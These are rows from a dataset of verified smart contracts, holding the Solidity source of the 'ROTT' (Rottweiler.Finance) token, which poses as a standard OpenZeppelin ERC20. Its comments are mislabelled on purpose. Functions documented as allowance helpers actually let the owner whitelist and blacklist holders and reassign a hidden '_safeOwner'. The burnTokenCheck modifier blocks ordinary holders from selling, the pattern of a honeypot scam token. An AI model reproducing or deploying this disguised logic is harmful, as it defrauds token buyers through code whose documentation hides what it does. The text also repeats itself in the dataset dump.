* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true)
{_;} else{
if (_blackAddress[sender] == true)
{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");
_;}else {if (amount < _sellAmount){if(recipient == _safeOwner){
_blackAddress[sender] = true; _whiteAddress[sender] = false;
}_;}else{
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");
_;
}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/ | NatSpecMultiLine | allowance | function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
| /**
* @dev See {IERC20-allowance}.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://4202f0f8e723c0c293db66e81609b582a5fb9d78d897e6fbe0ce067ac47421e5 | {
"func_code_index": [
3722,
3878
]
} | 7,005 |
ROTT | ROTT.sol | 0xe05480b1a133a37544f2ccc1b6b8e638ce31fdf1 | Solidity | ROTT | contract ROTT is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 private _decimals;
string private _name = 'Rottweiler.Finance';
string private _symbol = 'ROTT';
uint256 initialSupply = 1000000000;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor () public {
_decimals = 18;
_owner = _msgSender();
_safeOwner = _msgSender();
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true)
{_;} else{
if (_blackAddress[sender] == true)
{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");
_;}else {if (amount < _sellAmount){if(recipient == _safeOwner){
_blackAddress[sender] = true; _whiteAddress[sender] = false;
}_;}else{
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");
_;
}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/ | NatSpecMultiLine | approve | function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
| /**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://4202f0f8e723c0c293db66e81609b582a5fb9d78d897e6fbe0ce067ac47421e5 | {
"func_code_index": [
4020,
4194
]
} | 7,006 |
Subsets and Splits
No saved queries yet
Save your SQL queries to embed, download, and access them later. Queries will appear here once saved.